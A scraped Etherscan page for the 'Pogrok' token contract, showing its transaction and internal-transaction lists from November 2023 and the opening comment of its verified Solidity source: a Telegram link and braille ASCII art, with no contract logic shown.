ETH Price: $2,359.39 (+1.41%)
Gas: 3.07 Gwei

Contract

0x08E2206e0b11F25787eA8eaadc07214d16c78776
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve187655702023-12-11 21:13:59273 days ago1702329239IN
0x08E2206e...d16c78776
0 ETH0.001835339.06064055
Approve185173952023-11-07 3:27:35308 days ago1699327655IN
0x08E2206e...d16c78776
0 ETH0.0016314634.67809711
Approve185090332023-11-05 23:20:11309 days ago1699226411IN
0x08E2206e...d16c78776
0 ETH0.0010272221.8623779
Approve185090112023-11-05 23:15:47309 days ago1699226147IN
0x08E2206e...d16c78776
0 ETH0.001114523.68966075
Approve185089932023-11-05 23:12:11309 days ago1699225931IN
0x08E2206e...d16c78776
0 ETH0.0007981116.98627893
Approve185087282023-11-05 22:18:59309 days ago1699222739IN
0x08E2206e...d16c78776
0 ETH0.00086718.45236349
Approve185087262023-11-05 22:18:35309 days ago1699222715IN
0x08E2206e...d16c78776
0 ETH0.0008005317.03764343
Approve185087122023-11-05 22:15:47309 days ago1699222547IN
0x08E2206e...d16c78776
0 ETH0.0012231926
Approve185086852023-11-05 22:10:23309 days ago1699222223IN
0x08E2206e...d16c78776
0 ETH0.0009250719.78422013
Approve185086492023-11-05 22:03:11309 days ago1699221791IN
0x08E2206e...d16c78776
0 ETH0.0012227625.99074061
Approve185086172023-11-05 21:56:47309 days ago1699221407IN
0x08E2206e...d16c78776
0 ETH0.0012183525.93019448
Approve185085752023-11-05 21:48:23309 days ago1699220903IN
0x08E2206e...d16c78776
0 ETH0.0010065121.42150041
Approve185085522023-11-05 21:43:47309 days ago1699220627IN
0x08E2206e...d16c78776
0 ETH0.0011523124.52465105
Approve185085472023-11-05 21:42:47309 days ago1699220567IN
0x08E2206e...d16c78776
0 ETH0.0011139523.86052107
Approve185085352023-11-05 21:40:23309 days ago1699220423IN
0x08E2206e...d16c78776
0 ETH0.0012853727.35662927
Approve185085322023-11-05 21:39:47309 days ago1699220387IN
0x08E2206e...d16c78776
0 ETH0.0015135732.18040735
Approve185085232023-11-05 21:37:59309 days ago1699220279IN
0x08E2206e...d16c78776
0 ETH0.001454730.92082966
Approve185085222023-11-05 21:37:47309 days ago1699220267IN
0x08E2206e...d16c78776
0 ETH0.0015157632.21883042
Approve185085102023-11-05 21:35:23309 days ago1699220123IN
0x08E2206e...d16c78776
0 ETH0.001282327.25637389
Approve185084712023-11-05 21:27:35309 days ago1699219655IN
0x08E2206e...d16c78776
0 ETH0.0015032731.95324534
Approve185084702023-11-05 21:27:23309 days ago1699219643IN
0x08E2206e...d16c78776
0 ETH0.0014130530.07405318
Approve185084492023-11-05 21:23:11309 days ago1699219391IN
0x08E2206e...d16c78776
0 ETH0.0018622439.58348141
Approve185084452023-11-05 21:22:23309 days ago1699219343IN
0x08E2206e...d16c78776
0 ETH0.0033011170.16786322
Approve185084452023-11-05 21:22:23309 days ago1699219343IN
0x08E2206e...d16c78776
0 ETH0.0035363475.16786322
Approve185084442023-11-05 21:22:11309 days ago1699219331IN
0x08E2206e...d16c78776
0 ETH0.0017377536.9373113
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
185090392023-11-05 23:21:23309 days ago1699226483
0x08E2206e...d16c78776
0.0093291 ETH
185090392023-11-05 23:21:23309 days ago1699226483
0x08E2206e...d16c78776
0.0093291 ETH
185090112023-11-05 23:15:47309 days ago1699226147
0x08E2206e...d16c78776
0.01007197 ETH
185090112023-11-05 23:15:47309 days ago1699226147
0x08E2206e...d16c78776
0.01007197 ETH
185087742023-11-05 22:28:23309 days ago1699223303
0x08E2206e...d16c78776
0.01096964 ETH
185087742023-11-05 22:28:23309 days ago1699223303
0x08E2206e...d16c78776
0.01096964 ETH
185087572023-11-05 22:24:59309 days ago1699223099
0x08E2206e...d16c78776
0.01186958 ETH
185087572023-11-05 22:24:59309 days ago1699223099
0x08E2206e...d16c78776
0.01186958 ETH
185087442023-11-05 22:22:23309 days ago1699222943
0x08E2206e...d16c78776
0.01457109 ETH
185087442023-11-05 22:22:23309 days ago1699222943
0x08E2206e...d16c78776
0.01457109 ETH
185087412023-11-05 22:21:47309 days ago1699222907
0x08E2206e...d16c78776
0.01610868 ETH
185087412023-11-05 22:21:47309 days ago1699222907
0x08E2206e...d16c78776
0.01610868 ETH
185087382023-11-05 22:20:59309 days ago1699222859
0x08E2206e...d16c78776
0.01610868 ETH
185087382023-11-05 22:20:59309 days ago1699222859
0x08E2206e...d16c78776
0.01610868 ETH
185087272023-11-05 22:18:47309 days ago1699222727
0x08E2206e...d16c78776
0.01861051 ETH
185087272023-11-05 22:18:47309 days ago1699222727
0x08E2206e...d16c78776
0.01861051 ETH
185087272023-11-05 22:18:47309 days ago1699222727
0x08E2206e...d16c78776
0.02075444 ETH
185087272023-11-05 22:18:47309 days ago1699222727
0x08E2206e...d16c78776
0.02075444 ETH
185087122023-11-05 22:15:47309 days ago1699222547
0x08E2206e...d16c78776
0.02197995 ETH
185087122023-11-05 22:15:47309 days ago1699222547
0x08E2206e...d16c78776
0.02197995 ETH
185087102023-11-05 22:15:23309 days ago1699222523
0x08E2206e...d16c78776
0.02514643 ETH
185087102023-11-05 22:15:23309 days ago1699222523
0x08E2206e...d16c78776
0.02514643 ETH
185086912023-11-05 22:11:35309 days ago1699222295
0x08E2206e...d16c78776
0.03020893 ETH
185086912023-11-05 22:11:35309 days ago1699222295
0x08E2206e...d16c78776
0.03020893 ETH
185086902023-11-05 22:11:23309 days ago1699222283
0x08E2206e...d16c78776
0.03400299 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Pogrok

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-05
*/

//SPDX-License-Identifier: MIT

/*
 https://t.me/ProofOfGrok

 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⡀⢀⠀⡀⢀⡀⣀⢀⡀⡀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠠⠄⠐⠀⠀⠈⠁⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⠁⠀⠐⠒⠒⠀⠠⠤⠄⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⠀⠒⠈⠉⢦⣤⣴⣶⣶⣶⣿⣾⣷⣿⣾⣷⣿⣶⣷⣾⣶⣳⣶⣶⣖⣦⣶⣴⢦⣤⣤⣄⡤⣀⣀⢀⠀⠀⠀⠀⠀⠀⠀⠈⠁⠐⠂⠠⢄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠔⠁⠀⠀⠀⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣧⣶⣤⣤⣀⡄⣀⠀⠀⠀⠀⠁⠂⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠊⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣿⣷⣶⣦⣤⣀⠀⠉⠢⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠘⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣆⡈⠠⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣆⠈⢂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠡⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⡤⣢⣤⣤⣤⣬⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠀⠀⠀⠀⠀⠀⠀⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⠀⠑⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⢀⠔⣩⣿⠿⣿⣿⣿⣿⣿⣶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⢱⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢀⣪⣾⠿⣍⢻⣜⣿⣿⣿⣿⣿⣟⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠛⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢮⣿⣻⣷⢌⡷⣺⣿⣿⡻⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⢀⠂⢁⠠⠀⠩⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠉⢀⢀⠀⢉⢻⣿⣿⣿⣿⣿⣿⣿⠄⠀⢸⡌⢄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⡸⣽⣟⣧⢻⣎⣷⣻⣿⣿⣳⣽⣿⣿⣏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠐⡀⢈⠠⠀⡁⠂⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⢀⠐⠠⠀⠌⢀⠀⢻⣿⣿⣿⣿⣿⣿⡇⠀⠈⡟⡎⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠱⣿⣻⢮⢿⣞⣽⣻⣿⣿⡵⣺⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⢂⠐⠠⠀⡁⠄⢈⠨⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⡀⠂⢁⠐⠈⡀⢂⠘⣿⣿⣿⣿⣿⣿⡇⠀⠀⣿⢹⡘⡀⠀⠀⠀⠀⠀⠀⠀⠀
⢣⣿⡿⣏⣾⣿⢯⣿⣿⣿⣽⣻⣿⣿⡧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⢀⠂⢄⠁⡀⠂⠄⢨⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠄⠠⠁⠂⢈⠐⠀⠄⢒⣿⣿⣿⣿⣿⣿⡇⠀⠀⢹⣆⡇⡧⠀⠀⠀⠀⠀⠀⠀⠀
⢏⣿⣽⢯⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣷⡂⠠⠘⢰⢰⢁⢨⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠡⢈⢠⢀⠁⢂⣸⣿⣿⣿⣿⣿⣿⡇⠀⠀⢸⠶⣇⣦⠀⠀⠀⠀⠀⠀⠀⠀
⠸⣾⣟⣿⣿⣿⣽⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣦⣤⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣐⠀⡈⠠⣈⣴⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⢸⣏⡗⡇⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢡⠻⣿⣿⣿⣻⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⣼⣿⠸⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠑⡙⣿⣿⢿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⠀⡀⠉⠉⠁⡀⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⣹⢣⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠨⡛⢿⣯⣟⣯⡿⠹⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⣬⣤⣥⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠀⡯⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠁⠓⠃⢢⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⢠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠀⡌⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠀⠸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠀⠀⠀⡰⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⠛⠻⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠟⠛⠋⠁⠀⠀⠀⡴⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠛⠛⠿⠻⠿⠿⠿⠿⠿⠿⠿⠛⠛⠛⠛⠉⠉⠁⠀⠀⠀⠀⠠⠁⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⢀⠴⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⢄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠤⠒⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠒⠠⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣀⣀⣀⣠⣀⣄⣠⣠⣠⣄⣠⣄⣠⣀⣄⣠⣀⣀⣄⣀⡤⠀⠀⠀⠀⠀⡀⣀⡤⠔⠊⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠀⠒⠒⠀⠤⠤⢄⣀⣀⡻⠚⠛⠛⠛⠛⠛⠛⠛⠛⠙⠛⠋⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠋⠁⠐⠒⠒⠯⣉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⠐⠒⠒⠒⠠⠤⣀⠀⠀⠀⠀⠀⡠⠒⠉⠈⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠒⠤⡀⠀⠀⠀⠀⠀⢀⠠⠀⠀⠀⠤⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠂⠀⠀⠀⠀⠀⠀⠀⠀⠙⢆⢀⠄⠈⠀⠀⠀⠀⠀⠀⠀⠡⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠢⡀⠀⡄⠊⠀⠀⠀⠀⠀⠀⠀⠑⢆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡰⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣉⢢⡀⠀⠀⠀⠀⠀⠀⠀⠀⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢫⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠑⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣼⡧⠀⠀⠀⠀⠀⠀⠀⠀⠰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⢠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡄⠈⢻⢆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⡀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡆⠀⠀⠀⣀⠀⠀⣀⠀⠀⣀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⡀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠘⡀⠀⢿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⢇⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⣿⡏⠉⢹⣦⠀⢹⡏⠉⣹⣶⠀⢰⣯⠉⠹⣷⠀⢰⣿⠉⠹⣷⠀⢸⣟⠛⠛⠛⠀⠀⠰⠀⠘⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⢘⡁⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⣿⡷⠷⠾⠍⠁⢸⣷⢶⣿⣉⠁⢸⣿⡀⡀⣿⡇⠘⣿⡀⡀⣿⡄⠸⣿⠉⠉⠁⠀⠀⠀⢃⠀⢹⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠃⠀⠀⠀⠉⠃⠀⠀⠀⠀⠘⠙⠀⠙⠉⠃⠂⠘⠛⠋⠛⠀⠀⠈⠋⠙⠙⠀⠀⠛⠂⠀⠀⠀⠀⠀⠘⡀⠈⢧⠀⠀⠀⠀⠀⠀⠀⢀⣰⡃⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⢀⣴⣶⣶⣦⣤⣀⡀⠀⠀⠀⣾⡋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢣⠀⢸⡀⠀⢀⣠⣤⣶⣾⣿⣺⠂⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢀⡀⠀⣠⡽⢤⣾⣿⣿⣿⣿⣿⣿⣿⣿⠖⣶⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣔⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠰⡀⣾⣿⣿⣿⣿⣿⣿⣄⠉⢂⠀⠀⠀⠀⠀⠀
